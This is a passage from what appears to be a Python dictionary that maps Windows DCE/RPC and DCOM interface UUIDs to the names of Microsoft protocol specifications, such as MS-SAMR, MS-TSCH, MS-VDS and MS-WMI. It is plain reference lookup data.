Manager Protocol', 'A8E0653C-2744-4389-A61D-7373DF8B2292':'[MS-FSRVP]: File Server Remote VSS Protocol', 'B9785960-524F-11DF-8B6D-83DCDED72085':'[MS-GKDI]: Group Key Distribution Protocol', '91AE6020-9E3C-11CF-8D7C-00AA00C091BE':'[MS-ICPR]: ICertPassage Remote Protocol', 'E8FB8620-588F-11D2-9D61-00C04F79C5FE':'[MS-IISS]: Internet Information Services (IIS) ServiceControl', 'F612954D-3B0B-4C56-9563-227B7BE624B4':'[MS-IMSA]: Internet Information Services (IIS) IMSAdminBaseW', '8298D101-F992-43B7-8ECA-5052D885B995':'[MS-IMSA]: Internet Information Services (IIS) IMSAdminBaseW', '29822AB8-F302-11D0-9953-00C04FD919C1':'[MS-IMSA]: Internet Information Services (IIS) IMSAdminBaseW', '70B51430-B6CA-11D0-B9B9-00A0C922E750':'[MS-IMSA]: Internet Information Services (IIS) IMSAdminBaseW', '29822AB7-F302-11D0-9953-00C04FD919C1':'[MS-IMSA]: Internet Information Services (IIS) IMSAdminBaseW', 'BD0C73BC-805B-4043-9C30-9A28D64DD7D2':'[MS-IMSA]: Internet Information Services (IIS) IMSAdminBaseW', '7C4E1804-E342-483D-A43E-A850CFCC8D18':'[MS-IMSA]: Internet Information Services (IIS) IMSAdminBaseW', '6619A740-8154-43BE-A186-0319578E02DB':'[MS-IOI]: IManagedObject Interface Protocol', '8165B19E-8D3A-4D0B-80C8-97DE310DB583':'[MS-IOI]: IManagedObject Interface Protocol', 'C3FCC19E-A970-11D2-8B5A-00A0C9B7C9C4':'[MS-IOI]: IManagedObject Interface Protocol', '82AD4280-036B-11CF-972C-00AA006887B0':'[MS-IRP]: Internet Information Services (IIS) Inetinfo Remote', '4E65A71E-4EDE-4886-BE67-3C90A08D1F29':'[MS-ISTM]: iSCSI Software Target Management Protocol', '866A78BC-A2FB-4AC4-94D5-DB3041B4ED75':'[MS-ISTM]: iSCSI Software Target Management Protocol', 'B0D1AC4B-F87A-49B2-938F-D439248575B2':'[MS-ISTM]: iSCSI Software Target Management Protocol', 'E141FD54-B79E-4938-A6BB-D523C3D49FF1':'[MS-ISTM]: iSCSI Software Target Management Protocol', '40CC8569-6D23-4005-9958-E37F08AE192B':'[MS-ISTM]: iSCSI Software Target Management Protocol', '1822A95E-1C2B-4D02-AB25-CC116DD9DBDE':'[MS-ISTM]: iSCSI Software Target Management Protocol', 'B4FA8E86-2517-4A88-BD67-75447219EEE4':'[MS-ISTM]: iSCSI Software Target Management Protocol', '3C73848A-A679-40C5-B101-C963E67F9949':'[MS-ISTM]: iSCSI Software Target Management Protocol', '66C9B082-7794-4948-839A-D8A5A616378F':'[MS-ISTM]: iSCSI Software Target Management Protocol', '01454B97-C6A5-4685-BEA8-9779C88AB990':'[MS-ISTM]: iSCSI Software Target Management Protocol', 'D6BD6D63-E8CB-4905-AB34-8A278C93197A':'[MS-ISTM]: iSCSI Software Target Management Protocol', '348A0821-69BB-4889-A101-6A9BDE6FA720':'[MS-ISTM]: iSCSI Software Target Management Protocol', '703E6B03-7AD1-4DED-BA0D-E90496EBC5DE':'[MS-ISTM]: iSCSI Software Target Management Protocol', '100DA538-3F4A-45AB-B852-709148152789':'[MS-ISTM]: iSCSI Software Target Management Protocol', '592381E5-8D3C-42E9-B7DE-4E77A1F75AE4':'[MS-ISTM]: iSCSI Software Target Management Protocol', '883343F1-CEED-4E3A-8C1B-F0DADFCE281E':'[MS-ISTM]: iSCSI Software Target Management Protocol', '6AEA6B26-0680-411D-8877-A148DF3087D5':'[MS-ISTM]: iSCSI Software Target Management Protocol', 'D71B2CAE-33E8-4567-AE96-3CCF31620BE2':'[MS-ISTM]: iSCSI Software Target Management Protocol', '8C58F6B3-4736-432A-891D-389DE3505C7C':'[MS-ISTM]: iSCSI Software Target Management Protocol', '1995785D-2A1E-492F-8923-E621EACA39D9':'[MS-ISTM]: iSCSI Software Target Management Protocol', 'C10A76D8-1FE4-4C2F-B70D-665265215259':'[MS-ISTM]: iSCSI Software Target Management Protocol', '8D7AE740-B9C5-49FC-A11E-89171907CB86':'[MS-ISTM]: iSCSI Software Target Management Protocol', '8AD608A4-6C16-4405-8879-B27910A68995':'[MS-ISTM]: iSCSI Software Target Management Protocol', 'B0076FEC-A921-4034-A8BA-090BC6D03BDE':'[MS-ISTM]: iSCSI Software Target Management Protocol', '640038F1-D626-40D8-B52B-09660601D045':'[MS-ISTM]: iSCSI Software Target Management Protocol', 'BB39E296-AD26-42C5-9890-5325333BB11E':'[MS-ISTM]: iSCSI Software Target Management Protocol', 'B06A64E3-814E-4FF9-AFAC-597AD32517C7':'[MS-ISTM]: iSCSI Software Target Management Protocol', 'A5ECFC73-0013-4A9E-951C-59BF9735FDDA':'[MS-ISTM]: iSCSI Software Target Management Protocol', '1396DE6F-A794-4B11-B93F-6B69A5B47BAE':'[MS-ISTM]: iSCSI Software Target Management Protocol', 'DD6F0A28-248F-4DD3-AFE9-71AED8F685C4':'[MS-ISTM]: iSCSI Software Target Management Protocol', '52BA97E7-9364-4134-B9CB-F8415213BDD8':'[MS-ISTM]: iSCSI Software Target Management Protocol', 'E2842C88-07C3-4EB0-B1A9-D3D95E76FEF2':'[MS-ISTM]: iSCSI Software Target Management Protocol', '312CC019-D5CD-4CA7-8C10-9E0A661F147E':'[MS-ISTM]: iSCSI Software Target Management Protocol', '345B026B-5802-4E38-AC75-795E08B0B83F':'[MS-ISTM]: iSCSI Software Target Management Protocol', '442931D5-E522-4E64-A181-74E98A4E1748':'[MS-ISTM]: iSCSI Software Target Management Protocol', '1B1C4D1C-ABC4-4D3A-8C22-547FBA3AA8A0':'[MS-ISTM]: iSCSI Software Target Management Protocol', '56E65EA5-CDFF-4391-BA76-006E42C2D746':'[MS-ISTM]: iSCSI Software Target Management Protocol', 'E645744B-CAE5-4712-ACAF-13057F7195AF':'[MS-ISTM]: iSCSI Software Target Management Protocol', 'FE7F99F9-1DFB-4AFB-9D00-6A8DD0AABF2C':'[MS-ISTM]: iSCSI Software Target Management Protocol', '81FE3594-2495-4C91-95BB-EB5785614EC7':'[MS-ISTM]: iSCSI Software Target Management Protocol', 'F093FE3D-8131-4B73-A742-EF54C20B337B':'[MS-ISTM]: iSCSI Software Target Management Protocol', '28BC8D5E-CA4B-4F54-973C-ED9622D2B3AC':'[MS-ISTM]: iSCSI Software Target Management Protocol', '22E5386D-8B12-4BF0-B0EC-6A1EA419E366':'[MS-LREC]: Live Remote Event Capture (LREC) Protocol', '12345778-1234-ABCD-EF00-0123456789AB':'[MS-LSAD]: Local Security Authority (Domain Policy) Remote Protocol', '12345778-1234-ABCD-EF00-0123456789AB':'[MS-LSAT]: Local Security Authority (Translation Methods) Remote', '708CCA10-9569-11D1-B2A5-0060977D8118':'[MS-MQDS]: Message Queuing (MSMQ):', '77DF7A80-F298-11D0-8358-00A024C480A8':'[MS-MQDS]: Message Queuing (MSMQ):', '76D12B80-3467-11D3-91FF-0090272F9EA3':'[MS-MQMP]: Message Queuing (MSMQ):', 'FDB3A030-065F-11D1-BB9B-00A024EA5525':'[MS-MQMP]: Message Queuing (MSMQ):', '41208EE0-E970-11D1-9B9E-00E02C064C39':'[MS-MQMR]: Message Queuing (MSMQ):', '1088A980-EAE5-11D0-8D9B-00A02453C337':'[MS-MQQP]: Message Queuing (MSMQ):', '1A9134DD-7B39-45BA-AD88-44D01CA47F28':'[MS-MQRR]: Message Queuing (MSMQ):', '17FDD703-1827-4E34-79D4-24A55C53BB37':'[MS-MSRP]: Messenger Service Remote Protocol', '12345678-1234-ABCD-EF00-01234567CFFB':'[MS-NRPC]: Netlogon Remote Protocol', '00020411-0000-0000-C000-000000000046':'[MS-OAUT]: OLE Automation Protocol', '00020401-0000-0000-C000-000000000046':'[MS-OAUT]: OLE Automation Protocol', '00020403-0000-0000-C000-000000000046':'[MS-OAUT]: OLE Automation Protocol', '00020412-0000-0000-C000-000000000046':'[MS-OAUT]: OLE Automation Protocol', '00020402-0000-0000-C000-000000000046':'[MS-OAUT]: OLE Automation Protocol', '00020400-0000-0000-C000-000000000046':'[MS-OAUT]: OLE Automation Protocol', '00020404-0000-0000-C000-000000000046':'[MS-OAUT]: OLE Automation Protocol', '784B693D-95F3-420B-8126-365C098659F2':'[MS-OCSPA]: Microsoft OCSP Administration Protocol', 'AE33069B-A2A8-46EE-A235-DDFD339BE281':'[MS-PAN]: Print System Asynchronous Notification Protocol', '0B6EDBFA-4A24-4FC6-8A23-942B1ECA65D1':'[MS-PAN]: Print System Asynchronous Notification Protocol', '76F03F96-CDFD-44FC-A22C-64950A001209':'[MS-PAR]: Print System Asynchronous Remote Protocol', 'DA5A86C5-12C2-4943-AB30-7F74A813D853':'[MS-PCQ]: Performance Counter Query Protocol', '03837510-098B-11D8-9414-505054503030':'[MS-PLA]: Performance Logs and Alerts Protocol', '03837543-098B-11D8-9414-505054503030':'[MS-PLA]: Performance Logs and Alerts Protocol', '03837533-098B-11D8-9414-505054503030':'[MS-PLA]: Performance Logs and Alerts Protocol', '03837541-098B-11D8-9414-505054503030':'[MS-PLA]: Performance Logs and Alerts Protocol', '03837544-098B-11D8-9414-505054503030':'[MS-PLA]: Performance Logs and Alerts Protocol', '03837524-098B-11D8-9414-505054503030':'[MS-PLA]: Performance Logs and Alerts Protocol', '0383753A-098B-11D8-9414-505054503030':'[MS-PLA]: Performance Logs and Alerts Protocol', '03837534-098B-11D8-9414-505054503030':'[MS-PLA]: Performance Logs and Alerts Protocol', '0383750B-098B-11D8-9414-505054503030':'[MS-PLA]: Performance Logs and Alerts Protocol', '0383751A-098B-11D8-9414-505054503030':'[MS-PLA]: Performance Logs and Alerts Protocol', '03837512-098B-11D8-9414-505054503030':'[MS-PLA]: Performance Logs and Alerts Protocol', '0383753D-098B-11D8-9414-505054503030':'[MS-PLA]: Performance Logs and Alerts Protocol', '03837506-098B-11D8-9414-505054503030':'[MS-PLA]: Performance Logs and Alerts Protocol', '03837520-098B-11D8-9414-505054503030':'[MS-PLA]: Performance Logs and Alerts Protocol', '038374FF-098B-11D8-9414-505054503030':'[MS-PLA]: Performance Logs and Alerts Protocol', '03837514-098B-11D8-9414-505054503030':'[MS-PLA]: Performance Logs and Alerts Protocol', '03837502-098B-11D8-9414-505054503030':'[MS-PLA]: Performance Logs and Alerts Protocol', '03837516-098B-11D8-9414-505054503030':'[MS-PLA]: Performance Logs and Alerts Protocol', '0B1C2170-5732-4E0E-8CD3-D9B16F3B84D7':'[MS-RAA]: Remote Authorization API Protocol', 'F120A684-B926-447F-9DF4-C966CB785648':'[MS-RAI]: Remote Assistance Initiation Protocol', '833E4010-AFF7-4AC3-AAC2-9F24C1457BCE':'[MS-RAI]: Remote Assistance Initiation Protocol', '833E4200-AFF7-4AC3-AAC2-9F24C1457BCE':'[MS-RAI]: Remote Assistance Initiation Protocol', '3C3A70A7-A468-49B9-8ADA-28E11FCCAD5D':'[MS-RAI]: Remote Assistance Initiation Protocol', '833E4100-AFF7-4AC3-AAC2-9F24C1457BCE':'[MS-RAI]: Remote Assistance Initiation Protocol', '833E41AA-AFF7-4AC3-AAC2-9F24C1457BCE':'[MS-RAI]: Remote Assistance Initiation Protocol', 'C323BE28-E546-4C23-A81B-D6AD8D8FAC7B':'[MS-RAINPS]: Remote Administrative Interface:', '83E05BD5-AEC1-4E58-AE50-E819C7296F67':'[MS-RAINPS]: Remote Administrative Interface:', '45F52C28-7F9F-101A-B52B-08002B2EFABE':'[MS-RAIW]: Remote Administrative Interface:', '811109BF-A4E1-11D1-AB54-00A0C91E9B45':'[MS-RAIW]: Remote Administrative Interface:', 'A35AF600-9CF4-11CD-A076-08002B2BD711':'[MS-RDPESC]: Remote Desktop Protocol:', '12345678-1234-ABCD-EF00-0123456789AB':'[MS-RPRN]: Print System Remote Protocol', '66A2DB21-D706-11D0-A37B-00C04FC9DA04':'[MS-RRASM]: Routing and Remote Access Server (RRAS) Management', '66A2DB1B-D706-11D0-A37B-00C04FC9DA04':'[MS-RRASM]: Routing and Remote Access Server (RRAS) Management', '66A2DB20-D706-11D0-A37B-00C04FC9DA04':'[MS-RRASM]: Routing and Remote Access Server (RRAS) Management', '66A2DB22-D706-11D0-A37B-00C04FC9DA04':'[MS-RRASM]: Routing and Remote Access Server (RRAS) Management', '8F09F000-B7ED-11CE-BBD2-00001A181CAD':'[MS-RRASM]: Routing and Remote Access Server (RRAS) Management', '5FF9BDF6-BD91-4D8B-A614-D6317ACC8DD8':'[MS-RRASM]: Routing and Remote Access Server (RRAS) Management', '20610036-FA22-11CF-9823-00A0C911E5DF':'[MS-RRASM]: Routing and Remote Access Server (RRAS) Management', '67E08FC2-2984-4B62-B92E-FC1AAE64BBBB':'[MS-RRASM]: Routing and Remote Access Server (RRAS) Management', '6139D8A4-E508-4EBB-BAC7-D7F275145897':'[MS-RRASM]: Routing and Remote Access Server (RRAS) Management', '338CD001-2244-31F1-AAAA-900038001003':'[MS-RRP]: Windows Remote Registry Protocol', '3BBED8D9-2C9A-4B21-8936-ACB2F995BE6C':'[MS-RSMP]: Removable Storage Manager (RSM) Remote Protocol', '8DA03F40-3419-11D1-8FB1-00A024CB6019':'[MS-RSMP]: Removable Storage Manager (RSM) Remote Protocol', 'D61A27C6-8F53-11D0-BFA0-00A024151983':'[MS-RSMP]: Removable Storage Manager (RSM) Remote Protocol', '081E7188-C080-4FF3-9238-29F66D6CABFD':'[MS-RSMP]: Removable Storage Manager (RSM) Remote Protocol', '895A2C86-270D-489D-A6C0-DC2A9B35280E':'[MS-RSMP]: Removable Storage Manager (RSM) Remote Protocol', 'D02E4BE0-3419-11D1-8FB1-00A024CB6019':'[MS-RSMP]: Removable Storage Manager (RSM) Remote Protocol', 'DB90832F-6910-4D46-9F5E-9FD6BFA73903':'[MS-RSMP]: Removable Storage Manager (RSM) Remote Protocol', '4E934F30-341A-11D1-8FB1-00A024CB6019':'[MS-RSMP]: Removable Storage Manager (RSM) Remote Protocol', '879C8BBE-41B0-11D1-BE11-00C04FB6BF70':'[MS-RSMP]: Removable Storage Manager (RSM) Remote Protocol', '00000000-0000-0000-C000-000000000046':'[MS-RSMP]: Removable Storage Manager (RSM) Remote Protocol', '69AB7050-3059-11D1-8FAF-00A024CB6019':'[MS-RSMP]: Removable Storage Manager (RSM) Remote Protocol', '7D07F313-A53F-459A-BB12-012C15B1846E':'[MS-RSMP]: Removable Storage Manager (RSM) Remote Protocol', 'BB39332C-BFEE-4380-AD8A-BADC8AFF5BB6':'[MS-RSMP]: Removable Storage Manager (RSM) Remote Protocol', 'B057DC50-3059-11D1-8FAF-00A024CB6019':'[MS-RSMP]: Removable Storage Manager (RSM) Remote Protocol', '894DE0C0-0D55-11D3-A322-00C04FA321A1':'[MS-RSP]: Remote Shutdown Protocol', 'D95AFE70-A6D5-4259-822E-2C84DA1DDB0D':'[MS-RSP]: Remote Shutdown Protocol', '12345778-1234-ABCD-EF00-0123456789AC':'[MS-SAMR]: Security Account Manager (SAM) Remote Protocol', '01954E6B-9254-4E6E-808C-C9E05D007696':'[MS-SCMP]: Shadow Copy Management Protocol', 'FA7DF749-66E7-4986-A27F-E2F04AE53772':'[MS-SCMP]: Shadow Copy Management Protocol', '214A0F28-B737-4026-B847-4F9E37D79529':'[MS-SCMP]: Shadow Copy Management Protocol', 'AE1C7110-2F60-11D3-8A39-00C04F72D8E3':'[MS-SCMP]: Shadow Copy Management Protocol', '367ABB81-9844-35F1-AD32-98F038001003':'[MS-SCMR]: Service Control Manager Remote Protocol', '4B324FC8-1670-01D3-1278-5A47BF6EE188':'[MS-SRVS]: Server Service Remote Protocol', 'CCD8C074-D0E5-4A40-92B4-D074FAA6BA28':'[MS-SWN]: Service Witness Protocol', '1A1BB35F-ABB8-451C-A1AE-33D98F1BEF4A':'[MS-TPMVSC]: Trusted Platform Module (TPM) Virtual Smart Card', '1C60A923-2D86-46AA-928A-E7F3E37577AF':'[MS-TPMVSC]: Trusted Platform Module (TPM) Virtual Smart Card', 'FDF8A2B9-02DE-47F4-BC26-AA85AB5E5267':'[MS-TPMVSC]: Trusted Platform Module (TPM) Virtual Smart Card', '112B1DFF-D9DC-41F7-869F-D67FEE7CB591':'[MS-TPMVSC]: Trusted Platform Module (TPM) Virtual Smart Card', '152EA2A8-70DC-4C59-8B2A-32AA3CA0DCAC':'[MS-TPMVSC]: Trusted Platform Module (TPM) Virtual Smart Card', '16A18E86-7F6E-4C20-AD89-4FFC0DB7A96A':'[MS-TPMVSC]: Trusted Platform Module (TPM) Virtual Smart Card', '3C745A97-F375-4150-BE17-5950F694C699':'[MS-TPMVSC]: Trusted Platform Module (TPM) Virtual Smart Card', '2F5F6521-CA47-1068-B319-00DD010662DB':'[MS-TRP]: Telephony Remote Protocol', '2F5F6520-CA46-1067-B319-00DD010662DA':'[MS-TRP]: Telephony Remote Protocol', '1FF70682-0A51-30E8-076D-740BE8CEE98B':'[MS-TSCH]: Task Scheduler Service Remoting Protocol', '378E52B0-C0A9-11CF-822D-00AA0051E40F':'[MS-TSCH]: Task Scheduler Service Remoting Protocol', '86D35949-83C9-4044-B424-DB363231FD0C':'[MS-TSCH]: Task Scheduler Service Remoting Protocol', '44E265DD-7DAF-42CD-8560-3CDB6E7A2729':'[MS-TSGU]: Terminal Services Gateway Server Protocol', '034634FD-BA3F-11D1-856A-00A0C944138C':'[MS-TSRAP]: Telnet Server Remote Administration Protocol', '497D95A6-2D27-4BF5-9BBD-A6046957133C':'[MS-TSTS]: Terminal Services Terminal Server Runtime Interface', '11899A43-2B68-4A76-92E3-A3D6AD8C26CE':'[MS-TSTS]: Terminal Services Terminal Server Runtime Interface', '5CA4A760-EBB1-11CF-8611-00A0245420ED':'[MS-TSTS]: Terminal Services Terminal Server Runtime Interface', 'BDE95FDF-EEE0-45DE-9E12-E5A61CD0D4FE':'[MS-TSTS]: Terminal Services Terminal Server Runtime Interface', '484809D6-4239-471B-B5BC-61DF8C23AC48':'[MS-TSTS]: Terminal Services Terminal Server Runtime Interface', '88143FD0-C28D-4B2B-8FEF-8D882F6A9390':'[MS-TSTS]: Terminal Services Terminal Server Runtime Interface', '1257B580-CE2F-4109-82D6-A9459D0BF6BC':'[MS-TSTS]: Terminal Services Terminal Server Runtime Interface', '53B46B02-C73B-4A3E-8DEE-B16B80672FC0':'[MS-TSTS]: Terminal Services Terminal Server Runtime Interface', 'DDE02280-12B3-4E0B-937B-6747F6ACB286':'[MS-UAMG]: Update Agent Management Protocol', '112EDA6B-95B3-476F-9D90-AEE82C6B8181':'[MS-UAMG]: Update Agent Management Protocol', '144FE9B0-D23D-4A8B-8634-FB4457533B7A':'[MS-UAMG]: Update Agent Management Protocol', '70CF5C82-8642-42BB-9DBC-0CFD263C6C4F':'[MS-UAMG]: Update Agent Management Protocol', '49EBD502-4A96-41BD-9E3E-4C5057F4250C':'[MS-UAMG]: Update Agent Management Protocol', '7C907864-346C-4AEB-8F3F-57DA289F969F':'[MS-UAMG]: Update Agent Management Protocol', '46297823-9940-4C09-AED9-CD3EA6D05968':'[MS-UAMG]: Update Agent Management Protocol', '4CBDCB2D-1589-4BEB-BD1C-3E582FF0ADD0':'[MS-UAMG]: Update Agent Management Protocol', '8F45ABF1-F9AE-4B95-A933-F0F66E5056EA':'[MS-UAMG]: Update Agent Management Protocol', '6A92B07A-D821-4682-B423-5C805022CC4D':'[MS-UAMG]: Update Agent Management Protocol', '54A2CB2D-9A0C-48B6-8A50-9ABB69EE2D02':'[MS-UAMG]: Update Agent Management Protocol', '0D521700-A372-4BEF-828B-3D00C10ADEBD':'[MS-UAMG]: Update Agent Management Protocol', 'C2BFB780-4539-4132-AB8C-0A8772013AB6':'[MS-UAMG]: Update Agent Management Protocol', '1518B460-6518-4172-940F-C75883B24CEB':'[MS-UAMG]: Update Agent Management Protocol', '81DDC1B8-9D35-47A6-B471-5B80F519223B':'[MS-UAMG]: Update Agent Management Protocol', 'BC5513C8-B3B8-4BF7-A4D4-361C0D8C88BA':'[MS-UAMG]: Update Agent Management Protocol', 'C1C2F21A-D2F4-4902-B5C6-8A081C19A890':'[MS-UAMG]: Update Agent Management Protocol', '07F7438C-7709-4CA5-B518-91279288134E':'[MS-UAMG]: Update Agent Management Protocol', 'C97AD11B-F257-420B-9D9F-377F733F6F68':'[MS-UAMG]: Update Agent Management Protocol', '3A56BFB8-576C-43F7-9335-FE4838FD7E37':'[MS-UAMG]: Update Agent Management Protocol', '615C4269-7A48-43BD-96B7-BF6CA27D6C3E':'[MS-UAMG]: Update Agent Management Protocol', '004C6A2B-0C19-4C69-9F5C-A269B2560DB9':'[MS-UAMG]: Update Agent Management Protocol', '7366EA16-7A1A-4EA2-B042-973D3E9CD99B':'[MS-UAMG]: Update Agent Management Protocol', 'A376DD5E-09D4-427F-AF7C-FED5B6E1C1D6':'[MS-UAMG]: Update Agent Management Protocol', '23857E3C-02BA-44A3-9423-B1C900805F37':'[MS-UAMG]: Update Agent Management Protocol', 'B383CD1A-5CE9-4504-9F63-764B1236F191':'[MS-UAMG]: Update Agent Management Protocol', '76B3B17E-AED6-4DA5-85F0-83587F81ABE3':'[MS-UAMG]: Update Agent Management Protocol', '0BB8531D-7E8D-424F-986C-A0B8F60A3E7B':'[MS-UAMG]: Update Agent Management Protocol', '91CAF7B0-EB23-49ED-9937-C52D817F46F7':'[MS-UAMG]: Update Agent Management Protocol', '673425BF-C082-4C7C-BDFD-569464B8E0CE':'[MS-UAMG]: Update Agent Management Protocol', 'EFF90582-2DDC-480F-A06D-60F3FBC362C3':'[MS-UAMG]: Update Agent Management Protocol', 'D9A59339-E245-4DBD-9686-4D5763E39624':'[MS-UAMG]: Update Agent Management Protocol', '9B0353AA-0E52-44FF-B8B0-1F7FA0437F88':'[MS-UAMG]: Update Agent Management Protocol', '503626A3-8E14-4729-9355-0FE664BD2321':'[MS-UAMG]: Update Agent Management Protocol', '85713FA1-7796-4FA2-BE3B-E2D6124DD373':'[MS-UAMG]: Update Agent Management Protocol', '816858A4-260D-4260-933A-2585F1ABC76B':'[MS-UAMG]: Update Agent Management Protocol', '27E94B0D-5139-49A2-9A61-93522DC54652':'[MS-UAMG]: Update Agent Management Protocol', 'E7A4D634-7942-4DD9-A111-82228BA33901':'[MS-UAMG]: Update Agent Management Protocol', 'D40CFF62-E08C-4498-941A-01E25F0FD33C':'[MS-UAMG]: Update Agent Management Protocol', 'ED8BFE40-A60B-42EA-9652-817DFCFA23EC':'[MS-UAMG]: Update Agent Management Protocol', 'A7F04F3C-A290-435B-AADF-A116C3357A5C':'[MS-UAMG]: Update Agent Management Protocol', '4A2F5C31-CFD9-410E-B7FB-29A653973A0F':'[MS-UAMG]: Update Agent Management Protocol', 'BE56A644-AF0E-4E0E-A311-C1D8E695CBFF':'[MS-UAMG]: Update Agent Management Protocol', '918EFD1E-B5D8-4C90-8540-AEB9BDC56F9D':'[MS-UAMG]: Update Agent Management Protocol', '04C6895D-EAF2-4034-97F3-311DE9BE413A':'[MS-UAMG]: Update Agent Management Protocol', '15FC031C-0652-4306-B2C3-F558B8F837E2':'[MS-VDS]: Virtual Disk Service (VDS) Protocol', '4DBCEE9A-6343-4651-B85F-5E75D74D983C':'[MS-VDS]: Virtual Disk Service (VDS) Protocol', '1E062B84-E5E6-4B4B-8A25-67B81E8F13E8':'[MS-VDS]: Virtual Disk Service (VDS) Protocol', '2ABD757F-2851-4997-9A13-47D2A885D6CA':'[MS-VDS]: Virtual Disk Service (VDS) Protocol', '9CBE50CA-F2D2-4BF4-ACE1-96896B729625':'[MS-VDS]: Virtual Disk Service (VDS) Protocol', '4DAA0135-E1D1-40F1-AAA5-3CC1E53221C3':'[MS-VDS]: Virtual Disk Service (VDS) Protocol', '3858C0D5-0F35-4BF5-9714-69874963BC36':'[MS-VDS]: Virtual Disk Service (VDS) Protocol', '40F73C8B-687D-4A13-8D96-3D7F2E683936':'[MS-VDS]: Virtual Disk Service (VDS) Protocol', '8F4B2F5D-EC15-4357-992F-473EF10975B9':'[MS-VDS]: Virtual Disk Service (VDS) Protocol', 'FC5D23E8-A88B-41A5-8DE0-2D2F73C5A630':'[MS-VDS]: Virtual Disk Service (VDS) Protocol', 'B07FEDD4-1682-4440-9189-A39B55194DC5':'[MS-VDS]: Virtual Disk Service (VDS) Protocol', '72AE6713-DCBB-4A03-B36B-371F6AC6B53D':'[MS-VDS]: Virtual Disk Service (VDS) Protocol', 'B6B22DA8-F903-4BE7-B492-C09D875AC9DA':'[MS-VDS]: Virtual Disk Service (VDS) Protocol', '538684E0-BA3D-4BC0-ACA9-164AFF85C2A9':'[MS-VDS]: Virtual Disk Service (VDS) Protocol', '75C8F324-F715-4FE3-A28E-F9011B61A4A1':'[MS-VDS]: Virtual Disk Service (VDS) Protocol', '90681B1D-6A7F-48E8-9061-31B7AA125322':'[MS-VDS]: Virtual Disk Service (VDS) Protocol', '9882F547-CFC3-420B-9750-00DFBEC50662':'[MS-VDS]: Virtual Disk Service (VDS) Protocol', '83BFB87F-43FB-4903-BAA6-127F01029EEC':'[MS-VDS]: Virtual Disk Service (VDS) Protocol', 'EE2D5DED-6236-4169-931D-B9778CE03DC6':'[MS-VDS]: Virtual Disk Service (VDS) Protocol', '9723F420-9355-42DE-AB66-E31BB15BEEAC':'[MS-VDS]: Virtual Disk Service (VDS) Protocol', '4AFC3636-DB01-4052-80C3-03BBCB8D3C69':'[MS-VDS]: Virtual Disk Service (VDS) Protocol', 'D99BDAAE-B13A-4178-9FDB-E27F16B4603E':'[MS-VDS]: Virtual Disk Service (VDS) Protocol', 'D68168C9-82A2-4F85-B6E9-74707C49A58F':'[MS-VDS]: Virtual Disk Service (VDS) Protocol', '13B50BFF-290A-47DD-8558-B7C58DB1A71A':'[MS-VDS]: Virtual Disk Service (VDS) Protocol', '6E6F6B40-977C-4069-BDDD-AC710059F8C0':'[MS-VDS]: Virtual Disk Service (VDS) Protocol', '9AA58360-CE33-4F92-B658-ED24B14425B8':'[MS-VDS]: Virtual Disk Service (VDS) Protocol', 'E0393303-90D4-4A97-AB71-E9B671EE2729':'[MS-VDS]: Virtual Disk Service (VDS) Protocol', '07E5C822-F00C-47A1-8FCE-B244DA56FD06':'[MS-VDS]: Virtual Disk Service (VDS) Protocol', '8326CD1D-CF59-4936-B786-5EFC08798E25':'[MS-VDS]: Virtual Disk Service (VDS) Protocol', '1BE2275A-B315-4F70-9E44-879B3A2A53F2':'[MS-VDS]: Virtual Disk Service (VDS) Protocol', '0316560B-5DB4-4ED9-BBB5-213436DDC0D9':'[MS-VDS]: Virtual Disk Service (VDS) Protocol', '14FBE036-3ED7-4E10-90E9-A5FF991AFF01':'[MS-VDS]: Virtual Disk Service (VDS) Protocol', '3B69D7F5-9D94-4648-91CA-79939BA263BF':'[MS-VDS]: Virtual Disk Service (VDS) Protocol', 'D5D23B6D-5A55-4492-9889-397A3C2D2DBC':'[MS-VDS]: Virtual Disk Service (VDS) Protocol', '88306BB2-E71F-478C-86A2-79DA200A0F11':'[MS-VDS]: Virtual Disk Service (VDS) Protocol', '118610B7-8D94-4030-B5B8-500889788E4E':'[MS-VDS]: Virtual Disk Service (VDS) Protocol', '0AC13689-3134-47C6-A17C-4669216801BE':'[MS-VDS]: Virtual Disk Service (VDS) Protocol', '0818A8EF-9BA9-40D8-A6F9-E22833CC771E':'[MS-VDS]: Virtual Disk Service (VDS) Protocol', '6788FAF9-214E-4B85-BA59-266953616E09':'[MS-VDS]: Virtual Disk Service (VDS) Protocol', 'B481498C-8354-45F9-84A0-0BDD2832A91F':'[MS-VDS]: Virtual Disk Service (VDS) Protocol', '10C5E575-7984-4E81-A56B-431F5F92AE42':'[MS-VDS]: Virtual Disk Service (VDS) Protocol', '38A0A9AB-7CC8-4693-AC07-1F28BD03C3DA':'[MS-VDS]: Virtual Disk Service (VDS) Protocol', '8FB6D884-2388-11D0-8C35-00C04FDA2795':'[MS-W32T]: W32Time Remote Protocol', '5422FD3A-D4B8-4CEF-A12E-E87D4CA22E90':'[MS-WCCE]: Windows Client Certificate Enrollment Protocol', 'D99E6E70-FC88-11D0-B498-00A0C90312F3':'[MS-WCCE]: Windows Client Certificate Enrollment Protocol', '1A927394-352E-4553-AE3F-7CF4AAFCA620':'[MS-WDSC]: Windows Deployment Services Control Protocol', '6BFFD098-A112-3610-9833-46C3F87E345A':'[MS-WKST]: Workstation Service Remote Protocol', 'F1E9C5B2-F59B-11D2-B362-00105A1F8177':'[MS-WMI]: Windows Management Instrumentation Remote Protocol', '423EC01E-2E35-11D2-B604-00104B703EFD':'[MS-WMI]: Windows Management Instrumentation Remote Protocol', '9556DC99-828C-11CF-A37E-00AA003240C7':'[MS-WMI]: Windows Management Instrumentation Remote Protocol', 'F309AD18-D86A-11D0-A075-00C04FB68820':'[MS-WMI]: Windows Management Instrumentation Remote Protocol', '9A653086-174F-11D2-B5F9-00104B703EFD':'[MS-WMI]: Windows Management Instrumentation Remote Protocol', 'D4781CD6-E5D3-44DF-AD94-930EFE48A887':'[MS-WMI]: Windows Management Instrumentation Remote Protocol', '44ACA674-E8FC-11D0-A07C-00C04FB68820':'[MS-WMI]: Windows Management Instrumentation Remote Protocol', '541679AB-2E5F-11D3-B34E-00104BCC4B4A':'[MS-WMI]: Windows Management Instrumentation Remote Protocol', '027947E1-D731-11CE-A357-000000000001':'[MS-WMI]: Windows Management Instrumentation Remote Protocol', 'A359DEC5-E813-4834-8A2A-BA7F1D777D76':'[MS-WMI]: Windows Management Instrumentation Remote Protocol', 'C49E32C6-BC8B-11D2-85D4-00105A1F8304':'[MS-WMI]: Windows Management Instrumentation Remote Protocol', 'C49E32C7-BC8B-11D2-85D4-00105A1F8304':'[MS-WMI]: Windows Management Instrumentation Remote Protocol', 